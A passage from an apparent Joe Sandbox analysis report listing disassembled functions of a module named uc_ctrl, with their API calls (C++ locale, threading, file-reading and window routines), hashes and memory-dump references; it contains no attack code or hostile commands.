Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$H_prolog3_
String ID: B$B$BBBB
API String ID: 3491702567-1601851001
Opcode ID: 709cf284f36fd47ceddb4461dd0ccd73f1fe5e9fe156c0e7810bf2e27a8521cc
Instruction ID: 805d88979000ef8c8cee9adad69ca7d9dd381535f3fa4ff1e8e8a5bb27cfe09b
Opcode Fuzzy Hash: 709cf284f36fd47ceddb4461dd0ccd73f1fe5e9fe156c0e7810bf2e27a8521cc
Instruction Fuzzy Hash: FE112771A002159BEF119FB1CE18EDFBEB5FF49348F11025CE511AB690DB359A09CB64

Function 6D19AA40 Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

_Cnd_init.MSVCP140(?), ref: 6D19AA4F

Part of subcall function 6D1AC020: _calloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000028,?,?,?,6D19AA54,?), ref: 6D1AC02F

_Mtx_init.MSVCP140(?,00000001,?), ref: 6D19AA5A

Part of subcall function 6D1AC3A0: _calloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000030,?,?,?,6D19AA5F,?,00000001,?), ref: 6D1AC3AF

Part of subcall function 6D1AC3FB: GetCurrentThreadId.KERNEL32 ref: 6D1AC426
Part of subcall function 6D1AC3FB: GetCurrentThreadId.KERNEL32 ref: 6D1AC442

_Thrd_start.MSVCP140(00000000,6D19A7E0,?,?,00000001,?), ref: 6D19AA93

Part of subcall function 6D19A850: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,?,?,00000000,?), ref: 6D19A866

_Cnd_wait.MSVCP140(?,?), ref: 6D19AAA9
__Mtx_unlock.LIBCPMT(?), ref: 6D19AAB9
_Cnd_destroy.MSVCP140(?,?), ref: 6D19AAC1
_Mtx_destroy.MSVCP140(?,?,?), ref: 6D19AAC9

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: CurrentThread_calloc_base$Cnd_destroyCnd_initCnd_waitMtx_destroyMtx_initMtx_unlockThrd_start_beginthreadex
String ID:
API String ID: 2966599113-0
Opcode ID: 6fe20724b265317f0c02707f2e620ee5e49f88ff501fe4eb5821387a2beed423
Instruction ID: 3b1fc7c474e056cd50cfc9b50603f52b971f859f52558e840a8711015e1c16ba
Opcode Fuzzy Hash: 6fe20724b265317f0c02707f2e620ee5e49f88ff501fe4eb5821387a2beed423
Instruction Fuzzy Hash: 95115E79D0421CEFCF01DFE4C941ADDBBBAEF04314F1541A6EA00B6254E7B1AB149B90

Function 6D1AAFBD Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1AAFC4
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7

Part of subcall function 6D1A18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01109540,6D1F3E74,?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A1900
Part of subcall function 6D1A18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000), ref: 6D1A191B

?_Getcat@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6D1AB007
_CxxThrowException.VCRUNTIME140(?,6D1D3BA4,00000000,?,?,?,00000004), ref: 6D1AB023
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@D@std@@@std@@@std@@ExceptionGetcat@?$num_get@H_prolog3ThrowU?$char_traits@V42@@V?$istreambuf_iterator@Vfacet@locale@2@
String ID:
API String ID: 1033628651-0
Opcode ID: be0deebe95a1cd25e6131718987cb20f87dfd671ca7f9689bdf4b9edda28ee50
Instruction ID: eb3e6816cf642a76d639ac8d730f8d93a40b3d672d510a285b6b1fa372c2c7ad
Opcode Fuzzy Hash: be0deebe95a1cd25e6131718987cb20f87dfd671ca7f9689bdf4b9edda28ee50
Instruction Fuzzy Hash: C301F97D6082694BCF05EBA0DA0067E73B67F84325F1A0418D220AB388CFFC9D018752

Function 6D1BA150 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1BA157
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEDED,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1BA162
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1BA17A

Part of subcall function 6D1A18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01109540,6D1F3E74,?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A1900
Part of subcall function 6D1A18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000), ref: 6D1A191B

?_Getcat@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6D1BA19A
_CxxThrowException.VCRUNTIME140(?,6D1D3BA4,00000000,?,?,?,00000004), ref: 6D1BA1B6
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1BA1DE

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionG@std@@@std@@@std@@Getcat@?$time_get@H_prolog3ThrowU?$char_traits@V42@@V?$istreambuf_iterator@Vfacet@locale@2@
String ID:
API String ID: 3334402370-0
Opcode ID: 2038e50c88e9d0fafbf506aed615b1e1ab7004bbb7f0fc23714f6a7c8d6fb6f8
Instruction ID: d4ff757d70417764a4f8e90b086fee07230447f19fb4eca6c26f7f65e5213699
Opcode Fuzzy Hash: 2038e50c88e9d0fafbf506aed615b1e1ab7004bbb7f0fc23714f6a7c8d6fb6f8
Instruction Fuzzy Hash: 9F012879A0C6154BCF05EBA0D900A7E73B6BF88368F560018D611AB388CFF89D01C792

Function 6D1BA1EB Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1BA1F2
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEE47,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1BA1FD
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1BA215

Part of subcall function 6D1A18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01109540,6D1F3E74,?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A1900
Part of subcall function 6D1A18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000), ref: 6D1A191B

?_Getcat@?$time_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6D1BA235
_CxxThrowException.VCRUNTIME140(?,6D1D3BA4,00000000,?,?,?,00000004), ref: 6D1BA251
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1BA279

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionG@std@@@std@@@std@@Getcat@?$time_put@H_prolog3ThrowU?$char_traits@V42@@V?$ostreambuf_iterator@Vfacet@locale@2@
String ID:
API String ID: 110716669-0
Opcode ID: 23294db1bdd9dcc18f52e6bb2990d57a8a72ac2562f70fca574a51c0b864870c
Instruction ID: fb4b99c763b276be3b2520327404013171d3e315e236782a845d8940ccb6696a
Opcode Fuzzy Hash: 23294db1bdd9dcc18f52e6bb2990d57a8a72ac2562f70fca574a51c0b864870c
Instruction Fuzzy Hash: F001D839A086254BCF05EBB4DA4477D73B6BF94328F1A0118D211AB388CFF99D018796

Function 6D1AE064 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1AE06B
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE56F,00000010,?,?,00000000), ref: 6D1AE076
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6D1AE08E

Part of subcall function 6D1A18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01109540,6D1F3E74,?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A1900
Part of subcall function 6D1A18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000), ref: 6D1A191B

?_Getcat@?$ctype@_W@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000001,?,00000000,?,00000000), ref: 6D1AE0AE
_CxxThrowException.VCRUNTIME140(?,6D1D3BA4,00000000,?,00000000), ref: 6D1AE0CA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6D1AE0F2

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionGetcat@?$ctype@_H_prolog3ThrowV42@@Vfacet@locale@2@W@std@@
String ID:
API String ID: 3290763649-0
Opcode ID: 4fdb10c379fce10982366c8ec813350bb2cab14d4c92335e63b646e478b39d65
Instruction ID: 23f73c601c5fb4115b4fda09eaf498f568dbe219984979476d60b2a729d10ce0
Opcode Fuzzy Hash: 4fdb10c379fce10982366c8ec813350bb2cab14d4c92335e63b646e478b39d65
Instruction Fuzzy Hash: 4201F9797082254BDF05EBF0D90067D73B66F84368F1A0128D210EB388DFF89E019752

Function 6D1A632C Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A6333
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000,?), ref: 6D1A633E
??Bid@locale@std@@QAEIXZ.MSVCP140(?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000,?), ref: 6D1A6356

Part of subcall function 6D1A18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01109540,6D1F3E74,?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A1900
Part of subcall function 6D1A18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000), ref: 6D1A191B

?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A6376
_CxxThrowException.VCRUNTIME140(?,6D1D3BA4,00000000,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A6392
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000,?), ref: 6D1A63BA

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@D@std@@ExceptionGetcat@?$ctype@H_prolog3ThrowV42@@Vfacet@locale@2@
String ID:
API String ID: 3150869626-0
Opcode ID: 06ffcef36c59b68d893daa2a4d7314514a1728ca74c2e7b2fabb8de45fea1579
Instruction ID: 5d697cd5aee3dd20c2b9349709ef86a85b36854f6e3ee333f254c1aa7fbfada1
Opcode Fuzzy Hash: 06ffcef36c59b68d893daa2a4d7314514a1728ca74c2e7b2fabb8de45fea1579
Instruction Fuzzy Hash: 0F01B97A6086154BCF06EBA4D85467D7375BF94354F1A0018D611EB388CFF89D028792

Function 6D1A63C7 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A63CE
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A80BC,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1A63D9
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1A63F1

Part of subcall function 6D1A18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01109540,6D1F3E74,?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A1900
Part of subcall function 6D1A18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000), ref: 6D1A191B

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6D1A6411
_CxxThrowException.VCRUNTIME140(?,6D1D3BA4,00000000,?,?,?,00000004), ref: 6D1A642D
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1A6455

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionGetcat@?$codecvt@H_prolog3Mbstatet@@@std@@ThrowV42@@Vfacet@locale@2@
String ID:
API String ID: 3765126711-0
Opcode ID: bf6921065919450fa52de7e94491eda5aa7bf0b7dd7d099b00513fbd88ebe6b6
Instruction ID: 1a0166e974a9b016ef01966a5053a595002e59073a0bfdfb6d0229ac45dc6a03
Opcode Fuzzy Hash: bf6921065919450fa52de7e94491eda5aa7bf0b7dd7d099b00513fbd88ebe6b6
Instruction Fuzzy Hash: 2E01B9396086164BCF05E7B4D95477E73B6AF94328F1A0418D211EB389CFF89D018792

Function 6D1BC3D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1BC3D7
_Getcvt.MSVCP140(?,00000034,6D1BB839,?,00000004,6D1BB7F1,00000000,00000000,0000003C,6D1BD869,?,?,00000000,?,?,?), ref: 6D1BC3F3

Part of subcall function 6D19F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6D19D26D,?), ref: 6D19F107
Part of subcall function 6D19F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F111
Part of subcall function 6D19F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F11A
Part of subcall function 6D19F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6D19D26D,?), ref: 6D19F130

?_Getdays@_Locinfo@std@@QBEPBDXZ.MSVCP140(0000000B,00000034,6D1BB839,?,00000004,6D1BB7F1,00000000,00000000,0000003C,6D1BD869,?,?,00000000,?,?,?), ref: 6D1BC407

Part of subcall function 6D1A16B0: _Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6D1A16B4
Part of subcall function 6D1A16B0: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(00000000), ref: 6D1A16C4
Part of subcall function 6D1A16B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6D1A16CA

Part of subcall function 6D1AB342: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,00000001,?,00000000,6D1BC413,0000000B,00000034,6D1BB839,?,00000004,6D1BB7F1,00000000,00000000,0000003C,6D1BD869,?), ref: 6D1AB358

?_Getmonths@_Locinfo@std@@QBEPBDXZ.MSVCP140(0000000B,00000034,6D1BB839,?,00000004,6D1BB7F1,00000000,00000000,0000003C,6D1BD869,?,?,00000000,?,?,?), ref: 6D1BC41B

Part of subcall function 6D1A16F0: _Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6D1A16F4
Part of subcall function 6D1A16F0: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(00000000), ref: 6D1A1704
Part of subcall function 6D1A16F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6D1A170A

Part of subcall function 6D1AB342: Concurrency::cancel_current_task.LIBCPMT(?,?,?,00000004), ref: 6D1AB37E

_Getdateorder.MSVCP140(00000034,6D1BB839,?,00000004,6D1BB7F1,00000000,00000000,0000003C,6D1BD869,?,?,00000000,?,?,?,00000004), ref: 6D1BC43A

Part of subcall function 6D1BA720: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(00000022,00000000,00000002,?,0000000B,?,6D1BC43F,00000034,6D1BB839,?,00000004,6D1BB7F1,00000000,00000000,0000003C,6D1BD869), ref: 6D1BA734
Part of subcall function 6D1BA720: __crtGetLocaleInfoEx.MSVCP140(?,?,0000000B,?,6D1BC43F,00000034,6D1BB839,?,00000004,6D1BB7F1,00000000,00000000,0000003C,6D1BD869,?), ref: 6D1BA73D

Strings

:AM:am:PM:pm, xrefs: 6D1BC429

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??4?$_D@std@@Locinfo@std@@V01@Yarn@___lc_locale_name_funcfree$Concurrency::cancel_current_taskGetcvtGetdateorderGetdaysGetdays@_GetmonthsGetmonths@_H_prolog3_catchInfoLocale___lc_codepage_func___mb_cur_max_func__crt_ismbbleadcalloc
String ID: :AM:am:PM:pm
API String ID: 1635075641-1966799564
Opcode ID: 0ecad648c73175dd9461480abf620e5c924a5ad3c72372b6c29002b4c8dabda8
Instruction ID: 478737a955ac0426d927c00634c1893f2d4e50becb9d6dbac4828cb4f03dbe02
Opcode Fuzzy Hash: 0ecad648c73175dd9461480abf620e5c924a5ad3c72372b6c29002b4c8dabda8
Instruction Fuzzy Hash: C3012CB99083049BCF08DF78D48455A77E5AF08314719856EEA08DF28AEFB8D940CB91

Function 6CF0C6FD Relevance: 9.4, APIs: 6, Instructions: 445COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF0C704

Part of subcall function 6CEF8CB2: GetWindowTextLengthW.USER32(?), ref: 6CEF8CC3
Part of subcall function 6CEF8CB2: GetWindowTextW.USER32(?,00000000,00000000), ref: 6CEF8CDA

InflateRect.USER32(?,?,?), ref: 6CF0C85E
SetRectEmpty.USER32(?), ref: 6CF0C86A
InflateRect.USER32(?,00000000,00000000), ref: 6CF0C916
OffsetRect.USER32(?,00000001,00000001), ref: 6CF0C9D3
IsRectEmpty.USER32(?), ref: 6CF0CA80

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Rect$EmptyInflateTextWindow$H_prolog3_LengthOffset
String ID:
API String ID: 2648887860-0
Opcode ID: 035401f1ffdbf9731f3f510ce7445d10895d504a44cfd63f855c86e52c490605
Instruction ID: 3e01366fe1655bbedf988148cc58715219bde1fe5618b013ee3022676c1281f6
Opcode Fuzzy Hash: 035401f1ffdbf9731f3f510ce7445d10895d504a44cfd63f855c86e52c490605
Instruction Fuzzy Hash: 70F18F71B002158FDF05DFA8C8A4BEE77B6BF48704F184179E916EB691DB34A805CB62

Function 6D1A4F00 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1A4F07
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000030), ref: 6D1A4F5B
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,?,?,?,?,?,00000030), ref: 6D1A5050
ungetc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,00000030), ref: 6D1A5084

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: fgetc$H_prolog3_ungetc
String ID:
API String ID: 744725181-0
Opcode ID: e39d388522b4adebd273bac6f42abd1a7186f1fcb8991d2b289cad99f3e34d12
Instruction ID: 346c638137c45beb9a1fe128b6ba7df228577e1e53dbfe1247e70b57df49dabd
Opcode Fuzzy Hash: e39d388522b4adebd273bac6f42abd1a7186f1fcb8991d2b289cad99f3e34d12
Instruction Fuzzy Hash: 22519535A1821ADFDB14CFD8D5909FDB7B5FF48324F18452DE102A7288DBB1A944CB91

Function 6CF20AD3 Relevance: 9.1, APIs: 6, Instructions: 140windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000100,?,00000000), ref: 6CF20B5A
SendMessageW.USER32(?,0000020A,?,?), ref: 6CF20BDD
IsWindow.USER32(?), ref: 6CF20C02
ClientToScreen.USER32(?,?), ref: 6CF20C13
IsWindow.USER32(?), ref: 6CF20C30
ClientToScreen.USER32(?,?), ref: 6CF20C63

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
